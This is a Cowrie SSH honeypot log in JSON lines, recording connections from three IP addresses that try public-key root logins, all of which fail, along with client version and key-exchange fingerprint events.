{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:bd:60:15:db:26:29:73:49:9a:c1:b8:91:8d:58:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCx4FpykUHAjYF85m4eNd7l6LDeyw8nkHDek3bOZwCrapPM0d87BjOyoBUHHa3I9H14STM8lSw8S91Hm23XjJiqIsrPm6AACzOLoKhTZy51vNZ5bUV2bLjufdkMTOfzGQ0udbA+H2XovTByBJlyoWm6cKCb3YXMAqmfHaKu6fhHLaEpR/vZ3iIHalDxaby347xS+7IcyHbXGrgGCR4cvQgOXNgQvoixOJOgFXwu1BbumZeufWW2Ttl+4lNViB08J5oCCZ992Cwy9rxyu+QjlleVFdrJXzwag0JG7RiBa9ExjAO1zRl9Wc7o8R9HvI/vHc3EfgQ9gJDFyAznNnu3/Mal","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:bd:60:15:db:26:29:73:49:9a:c1:b8:91:8d:58:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:12.278418Z","src_ip":"45.148.147.191","session":"7b2851f41ec1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:bd:60:15:db:26:29:73:49:9a:c1:b8:91:8d:58:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCx4FpykUHAjYF85m4eNd7l6LDeyw8nkHDek3bOZwCrapPM0d87BjOyoBUHHa3I9H14STM8lSw8S91Hm23XjJiqIsrPm6AACzOLoKhTZy51vNZ5bUV2bLjufdkMTOfzGQ0udbA+H2XovTByBJlyoWm6cKCb3YXMAqmfHaKu6fhHLaEpR/vZ3iIHalDxaby347xS+7IcyHbXGrgGCR4cvQgOXNgQvoixOJOgFXwu1BbumZeufWW2Ttl+4lNViB08J5oCCZ992Cwy9rxyu+QjlleVFdrJXzwag0JG7RiBa9ExjAO1zRl9Wc7o8R9HvI/vHc3EfgQ9gJDFyAznNnu3/Mal","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:12.283814Z","src_ip":"45.148.147.191","session":"7b2851f41ec1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:71:80:15:e7:ac:27:e9:f7:71:7a:78:de:62:77:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQClC9ZA24DrYszNS5TOPNykqv04XZqOC86oNshhy6q8Yorpf1EsQvmxBTBtlVBoc4NLYz9lPKNYeS4xbthSIifxo29QoGq9vawor32UUl4LG9i6u+vuQiWoywhTl2Q5BNGsulLTykeQDe2aEykpLK1WLUBjhfPn1JtvTw9DHTo1yxtuD1aOXeXgCunStZgytzyG3Hr8XM69q+lpq8/UwpKl57nyI+unLFoFc7Z9axaWoiXppuSS37cuVMGNbZaF1ISA7hqvTTQC9tnOMBXdHHA29nfqEGPdlLjF9Qj4hBT7srrZ4a8wFBu9ZJ+YAm2RHeqN1QDZXBs5IK8KYn7K0w4rx/zy4Tvkpx3Cfuwp/rcv/XpGJN1LKvctmSa6JeS2hgg5Vh4VBttlaK1rz+1k6PO54Sz1V+TfBZpsA4SZ29jUxQ2O2Oi8Zt2AuHLs88zlzwvVl2+r7uugTj/7zJAA+RcxqYK/zTSDzmBq25x85771qlRxFsMu/8eWDMPBbvmK3ak=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:71:80:15:e7:ac:27:e9:f7:71:7a:78:de:62:77:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:12.372074Z","src_ip":"45.148.147.191","session":"7b2851f41ec1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:71:80:15:e7:ac:27:e9:f7:71:7a:78:de:62:77:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQClC9ZA24DrYszNS5TOPNykqv04XZqOC86oNshhy6q8Yorpf1EsQvmxBTBtlVBoc4NLYz9lPKNYeS4xbthSIifxo29QoGq9vawor32UUl4LG9i6u+vuQiWoywhTl2Q5BNGsulLTykeQDe2aEykpLK1WLUBjhfPn1JtvTw9DHTo1yxtuD1aOXeXgCunStZgytzyG3Hr8XM69q+lpq8/UwpKl57nyI+unLFoFc7Z9axaWoiXppuSS37cuVMGNbZaF1ISA7hqvTTQC9tnOMBXdHHA29nfqEGPdlLjF9Qj4hBT7srrZ4a8wFBu9ZJ+YAm2RHeqN1QDZXBs5IK8KYn7K0w4rx/zy4Tvkpx3Cfuwp/rcv/XpGJN1LKvctmSa6JeS2hgg5Vh4VBttlaK1rz+1k6PO54Sz1V+TfBZpsA4SZ29jUxQ2O2Oi8Zt2AuHLs88zlzwvVl2+r7uugTj/7zJAA+RcxqYK/zTSDzmBq25x85771qlRxFsMu/8eWDMPBbvmK3ak=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:12.376857Z","src_ip":"45.148.147.191","session":"7b2851f41ec1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:64:57:06:22:b4:a0:1e:85:1d:a5:e4:eb:9b:41:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkePtFHvb6GQ2hJWrwfyJ5tZeOkwKUxop7FB+UHVhz/1vv1IajUrbnEc5f/3IgWDnJhjJT0LI8h8UinNwovgSFh/9yHtKVu5VbFictjiTp0kWU/NHncw/XJwe6xVLQxPrOV1hq5XMmG/DW28eTR03bf2YPkUQ99F1c09c3wef4lAZmtx0gKStrWYwKcMSSHxP7hIftKbPVl+76RuW/qOStTXB9XSk0vV8QQZ0lj+d+loQsfO8AgyRtqFzmyV9I5aBeY6stIpnZJX8nFV8xR8CA0+cxbAh9tGoKubz5bCk/PpBiZ/iC6bpeGGxd+phzN8zlgpwfrrB5+z3L1gLuumhH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:64:57:06:22:b4:a0:1e:85:1d:a5:e4:eb:9b:41:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:12.464915Z","src_ip":"45.148.147.191","session":"7b2851f41ec1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:64:57:06:22:b4:a0:1e:85:1d:a5:e4:eb:9b:41:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkePtFHvb6GQ2hJWrwfyJ5tZeOkwKUxop7FB+UHVhz/1vv1IajUrbnEc5f/3IgWDnJhjJT0LI8h8UinNwovgSFh/9yHtKVu5VbFictjiTp0kWU/NHncw/XJwe6xVLQxPrOV1hq5XMmG/DW28eTR03bf2YPkUQ99F1c09c3wef4lAZmtx0gKStrWYwKcMSSHxP7hIftKbPVl+76RuW/qOStTXB9XSk0vV8QQZ0lj+d+loQsfO8AgyRtqFzmyV9I5aBeY6stIpnZJX8nFV8xR8CA0+cxbAh9tGoKubz5bCk/PpBiZ/iC6bpeGGxd+phzN8zlgpwfrrB5+z3L1gLuumhH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:12.469262Z","src_ip":"45.148.147.191","session":"7b2851f41ec1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:a6:df:b4:c3:e4:d4:1c:35:13:f3:1b:a9:3e:65:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0Cg1a+E/+GOPdiZoutQr0sPOS29wZh7QC3xMwvHIBky6d53WsxD7MoHe+dLrarvzEOmxEorMee96iUP01SaZsjCvRfpxKl+QKgz0JkoEzGjxMknN9R24AAS/Vrn4lpZWQwhyzhJ9efrWzoeUZCJDTXan9ZuCcOIE4150z1PWVJcHJrFxlkFI9EgxOyA2Sg2ZTVM2cE85NUccF+CcDapzEbB3wS/EekNmnnpmHoJhTdYbSF1jnk/BmH/iDQjmbS1u6KYCBSmACJvBIhCeXbaPbISI3NtsEhmhfca2x9NOL37NO968ZZn3d6/iLmG7waISK7Xxf++VZxS3vKOv+f2OXxaRF+3Br7jzTeR53x6y4A1+iZBdR+52rgdJf7fCUQCXsRBW2bvlul7FYIF0rq0K9wE+JS+fMbMFfegKd1dN7X93XR/KPxp+M+3d0FCDPrbzJDWFKyKVQ2c6e6Tw3q7Ibah13n9BixWUifj43JlHEdVeuA8b0kH1HalmBLPsdvjU8O0zP2lrp6jshfhhiq9OfF0AIifJw4g1NkFLWkwce1iuJ91955+2t6e+NB0kEhOfLp20J9+tY64NC5cizgNrRkzTiqsV0x1iNTAGNbM08g7ZLyJB2IZFnS4HVZX53v9n9v9bLMeetckne6GcC7VWbJs99F9IQDOIc1khtL7Crtw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:a6:df:b4:c3:e4:d4:1c:35:13:f3:1b:a9:3e:65:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:12.557724Z","src_ip":"45.148.147.191","session":"7b2851f41ec1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:a6:df:b4:c3:e4:d4:1c:35:13:f3:1b:a9:3e:65:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0Cg1a+E/+GOPdiZoutQr0sPOS29wZh7QC3xMwvHIBky6d53WsxD7MoHe+dLrarvzEOmxEorMee96iUP01SaZsjCvRfpxKl+QKgz0JkoEzGjxMknN9R24AAS/Vrn4lpZWQwhyzhJ9efrWzoeUZCJDTXan9ZuCcOIE4150z1PWVJcHJrFxlkFI9EgxOyA2Sg2ZTVM2cE85NUccF+CcDapzEbB3wS/EekNmnnpmHoJhTdYbSF1jnk/BmH/iDQjmbS1u6KYCBSmACJvBIhCeXbaPbISI3NtsEhmhfca2x9NOL37NO968ZZn3d6/iLmG7waISK7Xxf++VZxS3vKOv+f2OXxaRF+3Br7jzTeR53x6y4A1+iZBdR+52rgdJf7fCUQCXsRBW2bvlul7FYIF0rq0K9wE+JS+fMbMFfegKd1dN7X93XR/KPxp+M+3d0FCDPrbzJDWFKyKVQ2c6e6Tw3q7Ibah13n9BixWUifj43JlHEdVeuA8b0kH1HalmBLPsdvjU8O0zP2lrp6jshfhhiq9OfF0AIifJw4g1NkFLWkwce1iuJ91955+2t6e+NB0kEhOfLp20J9+tY64NC5cizgNrRkzTiqsV0x1iNTAGNbM08g7ZLyJB2IZFnS4HVZX53v9n9v9bLMeetckne6GcC7VWbJs99F9IQDOIc1khtL7Crtw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:12.561883Z","src_ip":"45.148.147.191","session":"7b2851f41ec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:12.649960Z","src_ip":"45.148.147.191","session":"7b2851f41ec1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.44.20.33","src_port":39538,"dst_ip":"10.17.0.5","dst_port":22,"session":"887d2058f37f","protocol":"ssh","message":"New connection: 188.44.20.33:39538 (10.17.0.5:22) [session: 887d2058f37f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:20.898849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:20.903733Z","src_ip":"188.44.20.33","session":"887d2058f37f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:21.038925Z","src_ip":"188.44.20.33","session":"887d2058f37f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:fd:6a:0a:04:7d:89:2d:e0:fe:46:a0:d6:c2:d2:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOHDcZHowN+Xx6f7L0QI9L/cgEyf8ERYoBMeymfBFSCpP1Nm+NvFngxMfapKc2ASZ8kgCEqvQmw0ik8XJm8iY6ie3EAVolCAo3cDgVcCame/AvpawU3dTVHyKBZRy/rmTttpwj6IlQejSdh2Pn3zXG+uIiUUxal76zoPwVU8Ew3kbs+0HVQjKegzmVV+KH0ig2axa6FfvAYWtDfhVPT8gpFom8W3hZolCaHhCEvGooIbF+oPh8PsS/GaEnS4wuzsrUOTWVtTZknj4SEJ7PujJS2huAbZsHRPG+LK8JFjJ+DCn9DzqSk2xAsD4jAq/YRF0kHE0ovrWw3ogsK1uCYOl5RYl7yNhQ+4zKfmqI86CubVV5Wnl4QdPQ7xJgkT8k8aHhPqBc7xAhfiQuQPfQQJ0mkhVbFY+FQwy3o7fiPPx26Vy5OqqFr20cA8Wv1YCeR84So8KWq4SmRhZ/2eNfhL2HqNsK8WXMrKbhVlP2jnqBH+4j8IDe66mrHNljYGHZGd2kE2G6P6eiBX9H1MPGyyciMhAEtwNe0vqZphgJQH10jntPztFHgy3qrsVSfGOnEEbS8i39Nu7NPvX5Dy4yWNq5zGanHIwvLRcS9mdK5FCx97oXnT6DUQKM/4qFi/RcDqM4qfWtlREUnHdGIpnT3linZ0OLsw07h47tXtWMtTkNLw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:fd:6a:0a:04:7d:89:2d:e0:fe:46:a0:d6:c2:d2:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:21.669275Z","src_ip":"188.44.20.33","session":"887d2058f37f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:fd:6a:0a:04:7d:89:2d:e0:fe:46:a0:d6:c2:d2:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOHDcZHowN+Xx6f7L0QI9L/cgEyf8ERYoBMeymfBFSCpP1Nm+NvFngxMfapKc2ASZ8kgCEqvQmw0ik8XJm8iY6ie3EAVolCAo3cDgVcCame/AvpawU3dTVHyKBZRy/rmTttpwj6IlQejSdh2Pn3zXG+uIiUUxal76zoPwVU8Ew3kbs+0HVQjKegzmVV+KH0ig2axa6FfvAYWtDfhVPT8gpFom8W3hZolCaHhCEvGooIbF+oPh8PsS/GaEnS4wuzsrUOTWVtTZknj4SEJ7PujJS2huAbZsHRPG+LK8JFjJ+DCn9DzqSk2xAsD4jAq/YRF0kHE0ovrWw3ogsK1uCYOl5RYl7yNhQ+4zKfmqI86CubVV5Wnl4QdPQ7xJgkT8k8aHhPqBc7xAhfiQuQPfQQJ0mkhVbFY+FQwy3o7fiPPx26Vy5OqqFr20cA8Wv1YCeR84So8KWq4SmRhZ/2eNfhL2HqNsK8WXMrKbhVlP2jnqBH+4j8IDe66mrHNljYGHZGd2kE2G6P6eiBX9H1MPGyyciMhAEtwNe0vqZphgJQH10jntPztFHgy3qrsVSfGOnEEbS8i39Nu7NPvX5Dy4yWNq5zGanHIwvLRcS9mdK5FCx97oXnT6DUQKM/4qFi/RcDqM4qfWtlREUnHdGIpnT3linZ0OLsw07h47tXtWMtTkNLw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:21.673289Z","src_ip":"188.44.20.33","session":"887d2058f37f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:75:df:0f:c9:af:b4:9c:18:59:f8:5c:06:42:b0:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7SXUPaFhI5FJSw6qKOm1T93FxzJjm5sdrcpYtq8+aRguBzbnn6PE3yhKR5b0p5nCDMsi6tHfFwcOM52INAIgVy9A1WjzU3vkdGAev0akz8Ba4W33Do73MgDV9EsAWPCaSv1/cbDd7GrPIz/Yhh1k0OXt8tEVT5nTRp18nqnOec1hT4weJgprfJSQFHn9GE8JDC7LtxLL110pQ3mZJ7rVHzT5rr7VlE1F1D2oGxCw4Ytm9tc6Gr2mMAcUEzxOSbC0KeXdaw5NPYjovLHEaWnWJfT+7oVTia7LSpu4gJEp+MzlOfIElkhSByo1j2WplStvXL/QllLKNpVwCzMtcEx6x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:75:df:0f:c9:af:b4:9c:18:59:f8:5c:06:42:b0:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:21.805031Z","src_ip":"188.44.20.33","session":"887d2058f37f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:75:df:0f:c9:af:b4:9c:18:59:f8:5c:06:42:b0:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7SXUPaFhI5FJSw6qKOm1T93FxzJjm5sdrcpYtq8+aRguBzbnn6PE3yhKR5b0p5nCDMsi6tHfFwcOM52INAIgVy9A1WjzU3vkdGAev0akz8Ba4W33Do73MgDV9EsAWPCaSv1/cbDd7GrPIz/Yhh1k0OXt8tEVT5nTRp18nqnOec1hT4weJgprfJSQFHn9GE8JDC7LtxLL110pQ3mZJ7rVHzT5rr7VlE1F1D2oGxCw4Ytm9tc6Gr2mMAcUEzxOSbC0KeXdaw5NPYjovLHEaWnWJfT+7oVTia7LSpu4gJEp+MzlOfIElkhSByo1j2WplStvXL/QllLKNpVwCzMtcEx6x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:21.808985Z","src_ip":"188.44.20.33","session":"887d2058f37f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:e1:59:c6:cd:de:6e:b4:e4:e8:35:69:46:36:87:c0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBRmLYHt12vGdL+P7HFIDy4bAAmRqWmMKt+ADJcWxIfA","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 70:e1:59:c6:cd:de:6e:b4:e4:e8:35:69:46:36:87:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:21.944955Z","src_ip":"188.44.20.33","session":"887d2058f37f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:e1:59:c6:cd:de:6e:b4:e4:e8:35:69:46:36:87:c0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBRmLYHt12vGdL+P7HFIDy4bAAmRqWmMKt+ADJcWxIfA","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:21.949007Z","src_ip":"188.44.20.33","session":"887d2058f37f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:45:39:8b:7c:57:85:d4:50:e6:96:61:ad:2a:23:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCa/U6PBGS7Y8xvB0Df8awI6h3pWEL71R94y0Z1FWzbgved3j0XKE/Hrq9oad8uk+dY63qOUghEcJOR4AMp0TkCEz9u3OCnKB3ZkSzYtdILQPvv5mZXSyzT48Zxz4pj9HakhQXYo2oYHHYa/e5SytvMa1dHvYeqdh3G8biMWfppDW2TS37bCUvoGrjjPxeKQT2SR0NG8SaNHFEQjuSgH63VNja/kHV6xvy+qBUlaS7sEr9JzzDSJD7WOpDktOmlH9EE2S7o/uDQOvVJTTZy7fuQIcNGrHLJGBAULUuyxl6vXKHL+f4o0fAHgx+AyyMzgUnxjtPxP5XfvueUKuXBlMgb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:45:39:8b:7c:57:85:d4:50:e6:96:61:ad:2a:23:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:22.082874Z","src_ip":"188.44.20.33","session":"887d2058f37f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:45:39:8b:7c:57:85:d4:50:e6:96:61:ad:2a:23:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCa/U6PBGS7Y8xvB0Df8awI6h3pWEL71R94y0Z1FWzbgved3j0XKE/Hrq9oad8uk+dY63qOUghEcJOR4AMp0TkCEz9u3OCnKB3ZkSzYtdILQPvv5mZXSyzT48Zxz4pj9HakhQXYo2oYHHYa/e5SytvMa1dHvYeqdh3G8biMWfppDW2TS37bCUvoGrjjPxeKQT2SR0NG8SaNHFEQjuSgH63VNja/kHV6xvy+qBUlaS7sEr9JzzDSJD7WOpDktOmlH9EE2S7o/uDQOvVJTTZy7fuQIcNGrHLJGBAULUuyxl6vXKHL+f4o0fAHgx+AyyMzgUnxjtPxP5XfvueUKuXBlMgb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:22.087177Z","src_ip":"188.44.20.33","session":"887d2058f37f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:29:3a:18:5f:b8:55:c7:51:78:14:f0:13:6a:b3:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDU1V262W0hbSHOnFsHxA0zzn5SuIp155Wp75SkgiCmOgF5pIietEUawfDDVemJOWx1Pf8HmBlIQfX+GLAf55aOtcGxQrBbPZXE89BhmT2BJ2mNwfLRL0ORLbLrDLsF4ZJ1XzYS0QzCvY8O/0iCpo78NTdxb10n1q48rur1B+BzBMmRIB9L+FQOoB4czUPAgxFqH68J+JMmHDYOWI8nPwX9Y82BLjtwI5NncX60RuJy5LePbGz00qqBSIKyp+574nWBB3HfzRc/s/Bf1d18JxYlYiyVwVLMTyYE0aR0lF9/zV2N8B6CVwTvWKy6AvaeVSDnXj9wQwN9eOJlUZhEy0coGsvaHI5Nehb9Mya9bEDLNWqfMQAPjJTgqkc49EN/QVV5NZB4k729hyIySO4pGK4XJFDBzgPAjRWaNSmMo42o2GTBUG08VliboxGDakAAbjJPfC5/Aw1uYltufXN6HOwzRuIOTRCYvDaSOt83WMWPShZHjq+JW3AKwFC6yGDbV70/j6DX7Klhx8wX/3fvFRI1wG2fZML/4B7AtelbfQPLzFe9fWeyuvJ6efZi3I7upIJpQKbSiFxMluTouKapqsL/EHOpbzfkJx5weL/OZq/+MJp5SP3k3M5fOQPw/SoPwwxu9aXK3dBfqDUqnwiRi1w/q/vTlobFAcCf6p3/WUzzMQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:29:3a:18:5f:b8:55:c7:51:78:14:f0:13:6a:b3:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:22.224027Z","src_ip":"188.44.20.33","session":"887d2058f37f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:29:3a:18:5f:b8:55:c7:51:78:14:f0:13:6a:b3:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDU1V262W0hbSHOnFsHxA0zzn5SuIp155Wp75SkgiCmOgF5pIietEUawfDDVemJOWx1Pf8HmBlIQfX+GLAf55aOtcGxQrBbPZXE89BhmT2BJ2mNwfLRL0ORLbLrDLsF4ZJ1XzYS0QzCvY8O/0iCpo78NTdxb10n1q48rur1B+BzBMmRIB9L+FQOoB4czUPAgxFqH68J+JMmHDYOWI8nPwX9Y82BLjtwI5NncX60RuJy5LePbGz00qqBSIKyp+574nWBB3HfzRc/s/Bf1d18JxYlYiyVwVLMTyYE0aR0lF9/zV2N8B6CVwTvWKy6AvaeVSDnXj9wQwN9eOJlUZhEy0coGsvaHI5Nehb9Mya9bEDLNWqfMQAPjJTgqkc49EN/QVV5NZB4k729hyIySO4pGK4XJFDBzgPAjRWaNSmMo42o2GTBUG08VliboxGDakAAbjJPfC5/Aw1uYltufXN6HOwzRuIOTRCYvDaSOt83WMWPShZHjq+JW3AKwFC6yGDbV70/j6DX7Klhx8wX/3fvFRI1wG2fZML/4B7AtelbfQPLzFe9fWeyuvJ6efZi3I7upIJpQKbSiFxMluTouKapqsL/EHOpbzfkJx5weL/OZq/+MJp5SP3k3M5fOQPw/SoPwwxu9aXK3dBfqDUqnwiRi1w/q/vTlobFAcCf6p3/WUzzMQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:22.227924Z","src_ip":"188.44.20.33","session":"887d2058f37f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:22.359269Z","src_ip":"188.44.20.33","session":"887d2058f37f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.55.218","src_port":46486,"dst_ip":"10.17.0.5","dst_port":22,"session":"deaabdc66a38","protocol":"ssh","message":"New connection: 139.162.55.218:46486 (10.17.0.5:22) [session: deaabdc66a38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:25.692187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:25.696966Z","src_ip":"139.162.55.218","session":"deaabdc66a38","protocol":"ssh"}
